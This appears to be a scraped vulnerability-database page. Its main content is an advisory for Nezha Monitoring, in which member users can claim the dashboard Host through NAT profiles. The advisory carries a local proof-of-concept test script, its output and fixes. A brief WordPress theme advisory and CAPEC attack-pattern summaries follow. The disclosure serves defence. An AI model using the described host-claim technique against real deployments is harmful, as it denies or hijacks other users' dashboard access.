A non-admin authenticated user can bind a global routing key that belongs to the dashboard operator. If the attacker sets enabled=false, all requests carrying the claimed dashboard Host are blocked before reaching dashboard API, frontend, or gRPC handlers. This can deny access to the dashboard for all users who use that Host.
If the attacker sets enabled=true and keeps the selected owned agent online, the matching requests enter ServeNAT: the dashboard sends a NAT task to that agent and streams the serialized original HTTP request into the NAT IO stream. Because utils.NewRequestWrapper serializes the original request with headers, dashboard requests that should have been processed locally can be forwarded to infrastructure controlled by the low-privileged user. The local proof avoids this stronger enabled-agent path, but the source path is direct in cmd/dashboard/rpc/rpc.go:142-204 and pkg/utils/request_wrapper.go:19-31.
Suggested remediation
Do not allow ordinary NAT profiles to claim dashboard-owned hosts. Recommended fixes:
- Canonicalize incoming Host values and NAT domain values consistently, including case and port handling.
- Add a server-side reserved-host check in both
createNATandupdateNATthat rejects the configured dashboard public host(s), listen host/port combinations, and any administrator-reserved domains. - Consider making NAT domain creation admin-approved unless the deployment can verify domain ownership for the requesting user.
- In the top-level mux, route dashboard/gRPC hosts before NAT when the Host is known to belong to the dashboard.
- Add regression tests covering create, update, cache reload, and mux behavior for dashboard-host collisions.
A useful regression test is the PoC above inverted: a member-created NAT with Domain equal to the configured dashboard Host should be rejected by the controller, and a request with the dashboard Host should continue to reach the dashboard handler.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nezhahq/nezha"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.14"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53520"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T23:00:14Z",
"nvd_published_at": "2026-06-12T22:16:52Z",
"severity": "MODERATE"
},
"details": "### Summary\nAn authenticated non-admin user who owns any server can create or update a NAT profile whose `domain` is equal to the dashboard\u0027s own HTTP Host (for example, `dashboard.example:8008`). The dashboard\u0027s top-level HTTP/gRPC multiplexer checks `NATShared.GetNATConfigByDomain(r.Host)` before dispatching requests to the dashboard API, frontend, or gRPC handler, so a member-controlled NAT profile for the dashboard Host takes precedence over the real dashboard.\n\nA disabled claimed NAT profile blocks matching dashboard requests before they reach the dashboard handler. An enabled claimed NAT profile routes matching requests into `ServeNAT`, which sends a NAT task to the member\u0027s selected agent and wraps the original HTTP request into the NAT IO stream. This allows a low-privileged dashboard user to take over routing for a global host name that should be reserved for the dashboard operator.\n\nTested locally against commit `8b5e382fe217107c7b777ea9c6b4bc3d2e156202` of `github.com/nezhahq/nezha`.\n\n### Details\nThe NAT management API is exposed to any authenticated user, not just administrators: `auth.POST(\"/nat\", commonHandler(createNAT))` and `auth.PATCH(\"/nat/:id\", commonHandler(updateNAT))` are registered in `cmd/dashboard/controller/controller.go:147-150`.\n\n`createNAT` accepts the request body into `model.NATForm`, verifies only that the selected server exists and `server.HasPermission(c)` succeeds, then stores the caller-controlled `nf.Domain` directly into `n.Domain` and updates the shared NAT cache (`cmd/dashboard/controller/nat.go:48-80`). `updateNAT` performs the same assignment after checking ownership of the selected server and existing NAT record (`cmd/dashboard/controller/nat.go:96-140`). `NATForm.Domain` is an unconstrained string with no reserved-host or host-ownership validation (`model/nat_api.go:3-9`), and `model.NAT.Domain` is only globally unique in the database (`model/nat.go:3-10`).\n\nThe singleton NAT cache indexes persisted NAT profiles directly by `profile.Domain` in `NewNATClass` (`service/singleton/nat.go:17-25`) and writes updates into the same map with `c.list[n.Domain] = n` (`service/singleton/nat.go:37-45`). Runtime lookup is an exact map lookup of the incoming Host string (`service/singleton/nat.go:65-69`).\n\nThe routing boundary is global: `newHTTPandGRPCMux` checks `singleton.NATShared.GetNATConfigByDomain(r.Host)` before it checks for gRPC or invokes the dashboard HTTP handler (`cmd/dashboard/main.go:207-225`). If the NAT profile exists but is disabled, the router returns the WAF block page and never reaches the dashboard (`cmd/dashboard/main.go:209-214`). If it is enabled, the router calls `rpc.ServeNAT(w, r, natConfig)` and returns (`cmd/dashboard/main.go:216-217`).\n\n`ServeNAT` selects the server from the NAT profile, requires that server\u0027s task stream to be online, sends a `TaskTypeNAT` task containing the NAT target host, then calls `utils.NewRequestWrapper(r, w)` and attaches the wrapped original request to the IO stream (`cmd/dashboard/rpc/rpc.go:142-204`). The request wrapper serializes the original request with `req.Write(buf)`, which includes the request line and headers, before streaming it over the hijacked connection (`pkg/utils/request_wrapper.go:19-31`). This is the intended NAT tunnel behavior, but it is unsafe when an ordinary user can bind the dashboard\u0027s own Host name.\n\nDefault/common exposure evidence: the dashboard binary is the primary shipped component of module `github.com/nezhahq/nezha` (`go.mod:1`), listens on port `8008` when `listen_port` is unset (`model/config.go:146-148`), and the Dockerfile exposes `8008` (`Dockerfile:14-18`). NAT management is part of the authenticated dashboard route set, so the vulnerable path is reachable in a default dashboard deployment with multiple users or any non-admin user who controls a server.\n\nFalse-positive checks performed:\n\n- The NAT routes are authenticated but not admin-only (`cmd/dashboard/controller/controller.go:147-150`).\n- The only create-time authorization check is ownership of the selected server (`cmd/dashboard/controller/nat.go:56-65`), not authority over the claimed Host.\n- The update path likewise accepts a caller-controlled replacement domain after ownership checks (`cmd/dashboard/controller/nat.go:109-139`).\n- The NAT cache uses the domain string as the global dispatch key without reserving the dashboard Host (`service/singleton/nat.go:17-25`, `service/singleton/nat.go:37-45`, `service/singleton/nat.go:65-69`).\n- The top-level mux checks NAT before dashboard/gRPC routing (`cmd/dashboard/main.go:207-225`).\n- A control request using a different Host reaches the dashboard handler in the local reproduction, ruling out a generic handler failure.\n\nCandidate score: 16/18.\n\n- Reachability: 2 \u2014 authenticated NAT API and top-level mux are default dashboard paths.\n- Attacker control: 2 \u2014 `NATForm.Domain` is directly controlled by the authenticated caller.\n- Privilege required: 1 \u2014 requires an authenticated user with an owned server; no admin role is required.\n- Sink impact: 2 \u2014 matching dashboard Host traffic is blocked or routed into the attacker\u0027s NAT stream instead of the dashboard.\n- Mitigation weakness: 2 \u2014 no dashboard-host reservation, domain ownership validation, or post-parse host authorization was found.\n- Default exposure: 2 \u2014 dashboard listens on/exposes port 8008 by default and NAT routes are registered in the default authenticated API.\n- Safe reproduction feasibility: 2 \u2014 reproduced locally with a safe temporary unit-test harness and local SQLite database.\n- Static certainty: 2 \u2014 source-to-sink chain is complete from JSON body to NAT cache to global router.\n- False-positive resistance: 1 \u2014 disabled-route preemption is dynamically proven; enabled-route forwarding is supported by code path but was not exercised with a real agent binary in this repository checkout.\n\nExploitability gate result: confirmed for authenticated dashboard Host preemption and denial of service. Enabled-route request forwarding is included as impact rationale from the exact `ServeNAT` source path, but the reproducible proof uses a disabled NAT profile to avoid requiring a live agent.\n\n### PoC\nThe following safe local reproduction adds only temporary test/stub files, uses a temporary SQLite database, runs the real unexported `newHTTPandGRPCMux`, and removes all temporary files on exit. It does not start a public listener or contact external systems.\n\nRun from a clean checkout of commit `8b5e382fe217107c7b777ea9c6b4bc3d2e156202`:\n\n```bash\ncleanup() { rm -f cmd/dashboard/admin-dist/claude_nat_poc_placeholder.txt cmd/dashboard/user-dist/claude_nat_poc_placeholder.txt cmd/dashboard/docs/docs.go cmd/dashboard/nat_host_claim_tmp_test.go; rmdir cmd/dashboard/docs 2\u003e/dev/null || true; }\ncleanup\nmkdir -p cmd/dashboard/docs\nprintf \u0027placeholder\u0027 \u003e cmd/dashboard/admin-dist/claude_nat_poc_placeholder.txt\nprintf \u0027placeholder\u0027 \u003e cmd/dashboard/user-dist/claude_nat_poc_placeholder.txt\ncat \u003e cmd/dashboard/docs/docs.go \u003c\u003c\u0027EOF\u0027\npackage docs\n\nvar SwaggerInfo = struct{ Version string }{Version: \"test\"}\nEOF\ncat \u003e cmd/dashboard/nat_host_claim_tmp_test.go \u003c\u003c\u0027EOF\u0027\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/nezhahq/nezha/model\"\n\t\"github.com/nezhahq/nezha/service/singleton\"\n\t\"gorm.io/driver/sqlite\"\n\t\"gorm.io/gorm\"\n)\n\nfunc TestNATDomainPreemptsDashboardHost(t *testing.T) {\n\tdbPath := filepath.Join(t.TempDir(), \"nezha-nat-host-poc.sqlite\")\n\tdb, err := gorm.Open(sqlite.Open(dbPath), \u0026gorm.Config{})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tsingleton.DB = db\n\tif err := db.AutoMigrate(\u0026model.User{}, \u0026model.Server{}, \u0026model.NAT{}); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tmember := model.User{Username: \"member\", Role: model.RoleMember, Password: \"unused\"}\n\tif err := db.Create(\u0026member).Error; err != nil {\n\t\tt.Fatal(err)\n\t}\n\tserver := model.Server{Common: model.Common{UserID: member.ID}, UUID: \"11111111-1111-1111-1111-111111111111\", Name: \"member-agent\"}\n\tif err := db.Create(\u0026server).Error; err != nil {\n\t\tt.Fatal(err)\n\t}\n\tnat := model.NAT{Common: model.Common{UserID: member.ID}, Enabled: false, Domain: \"dashboard.example:8008\", Host: \"127.0.0.1:18080\", ServerID: server.ID, Name: \"claim-dashboard-host\"}\n\tif err := db.Create(\u0026nat).Error; err != nil {\n\t\tt.Fatal(err)\n\t}\n\tsingleton.NATShared = singleton.NewNATClass()\n\n\thttpHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusTeapot)\n\t\t_, _ = w.Write([]byte(\"dashboard handler reached\"))\n\t})\n\tgrpcHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusAccepted)\n\t})\n\th := newHTTPandGRPCMux(httpHandler, grpcHandler)\n\n\treq := httptest.NewRequest(http.MethodGet, \"http://dashboard.example:8008/api/v1/profile\", nil)\n\trec := httptest.NewRecorder()\n\th.ServeHTTP(rec, req)\n\tif rec.Code == http.StatusTeapot || rec.Body.String() == \"dashboard handler reached\" {\n\t\tt.Fatalf(\"dashboard handler was reached despite claimed NAT host: code=%d body=%q\", rec.Code, rec.Body.String())\n\t}\n\tfmt.Fprintf(os.Stdout, \"positive: Host %s matched disabled member NAT id=%d and preempted dashboard handler with status=%d\\n\", req.Host, nat.ID, rec.Code)\n\n\tcontrolReq := httptest.NewRequest(http.MethodGet, \"http://other.example:8008/api/v1/profile\", nil)\n\tcontrolRec := httptest.NewRecorder()\n\th.ServeHTTP(controlRec, controlReq)\n\tif controlRec.Code != http.StatusTeapot || controlRec.Body.String() != \"dashboard handler reached\" {\n\t\tt.Fatalf(\"control host did not reach dashboard handler: code=%d body=%q\", controlRec.Code, controlRec.Body.String())\n\t}\n\tfmt.Fprintf(os.Stdout, \"control: Host %s missed NAT and reached dashboard handler with status=%d\\n\", controlReq.Host, controlRec.Code)\n}\nEOF\ntrap cleanup EXIT\nGOPROXY=off go test ./cmd/dashboard -run TestNATDomainPreemptsDashboardHost -count=1 -v\n```\n\nObserved vulnerable output in this environment:\n\n```text\n=== RUN TestNATDomainPreemptsDashboardHost\npositive: Host dashboard.example:8008 matched disabled member NAT id=1 and preempted dashboard handler with status=403\ncontrol: Host other.example:8008 missed NAT and reached dashboard handler with status=418\n--- PASS: TestNATDomainPreemptsDashboardHost (0.11s)\nPASS\nok \tgithub.com/nezhahq/nezha/cmd/dashboard\t0.132s\n```\n\nExpected vulnerable output: the positive request for `dashboard.example:8008` must not return the dashboard handler\u0027s `418` response; it should be intercepted by the disabled NAT profile and return the WAF/block status. The control request for `other.example:8008` must reach the dashboard handler and return `418` with body `dashboard handler reached`.\n\nCleanup: the shell `trap cleanup EXIT` removes the temporary test file, temporary generated docs stub, and temporary embed placeholders. The SQLite database is created under `t.TempDir()` and removed by Go\u0027s test cleanup.\n\nFinal re-check: the reproduction above was run after source-to-sink analysis and before writing this draft; it passed with the exact output shown above.\n\n### Impact\nA non-admin authenticated user can bind a global routing key that belongs to the dashboard operator. If the attacker sets `enabled=false`, all requests carrying the claimed dashboard Host are blocked before reaching dashboard API, frontend, or gRPC handlers. This can deny access to the dashboard for all users who use that Host.\n\nIf the attacker sets `enabled=true` and keeps the selected owned agent online, the matching requests enter `ServeNAT`: the dashboard sends a NAT task to that agent and streams the serialized original HTTP request into the NAT IO stream. Because `utils.NewRequestWrapper` serializes the original request with headers, dashboard requests that should have been processed locally can be forwarded to infrastructure controlled by the low-privileged user. The local proof avoids this stronger enabled-agent path, but the source path is direct in `cmd/dashboard/rpc/rpc.go:142-204` and `pkg/utils/request_wrapper.go:19-31`.\n\n### Suggested remediation\nDo not allow ordinary NAT profiles to claim dashboard-owned hosts. Recommended fixes:\n\n1. Canonicalize incoming Host values and NAT domain values consistently, including case and port handling.\n2. Add a server-side reserved-host check in both `createNAT` and `updateNAT` that rejects the configured dashboard public host(s), listen host/port combinations, and any administrator-reserved domains.\n3. Consider making NAT domain creation admin-approved unless the deployment can verify domain ownership for the requesting user.\n4. In the top-level mux, route dashboard/gRPC hosts before NAT when the Host is known to belong to the dashboard.\n5. Add regression tests covering create, update, cache reload, and mux behavior for dashboard-host collisions.\n\nA useful regression test is the PoC above inverted: a member-created NAT with `Domain` equal to the configured dashboard Host should be rejected by the controller, and a request with the dashboard Host should continue to reach the dashboard handler.",
"id": "GHSA-x6fg-52vr-hj4w",
"modified": "2026-06-26T23:00:14Z",
"published": "2026-06-26T23:00:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-x6fg-52vr-hj4w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53520"
},
{
"type": "PACKAGE",
"url": "https://github.com/nezhahq/nezha"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nezha Monitoring: Authenticated users can claim the dashboard Host through NAT and preempt all dashboard routing"
}
GHSA-X6FW-C968-RF52
Vulnerability from github – Published: 2023-06-07 03:30 – Updated: 2024-04-04 04:37The Brilliance <= 1.2.7, Activello <= 1.4.0, and Newspaper X <= 1.3.1 themes for WordPress are vulnerable to Plugin Activation/Deactivation. This is due to the 'activello_activate_plugin' and 'activello_deactivate_plugin' functions in the 'inc/welcome-screen/class-activello-welcome.php' file missing capability and security checks/nonces. This makes it possible for unauthenticated attackers to activate and deactivate arbitrary plugins installed on a vulnerable site.
{
"affected": [],
"aliases": [
"CVE-2020-36721"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-07T02:15:12Z",
"severity": "MODERATE"
},
"details": "The Brilliance \u003c= 1.2.7, Activello \u003c= 1.4.0, and Newspaper X \u003c= 1.3.1 themes for WordPress are vulnerable to Plugin Activation/Deactivation. This is due to the \u0027activello_activate_plugin\u0027 and \u0027activello_deactivate_plugin\u0027 functions in the \u0027inc/welcome-screen/class-activello-welcome.php\u0027 file missing capability and security checks/nonces. This makes it possible for unauthenticated attackers to activate and deactivate arbitrary plugins installed on a vulnerable site.",
"id": "GHSA-x6fw-c968-rf52",
"modified": "2024-04-04T04:37:41Z",
"published": "2023-06-07T03:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36721"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/unauthenticated-function-injection-vulnerability-fixed-in-15-wordpress-themes"
},
{
"type": "WEB",
"url": "https://wordpress.org/themes/activello"
},
{
"type": "WEB",
"url": "https://wordpress.org/themes/brilliance"
},
{
"type": "WEB",
"url": "https://wordpress.org/themes/newspaper-x"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a9e4e989-8e55-4ea7-8f42-9f67cfab1168?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.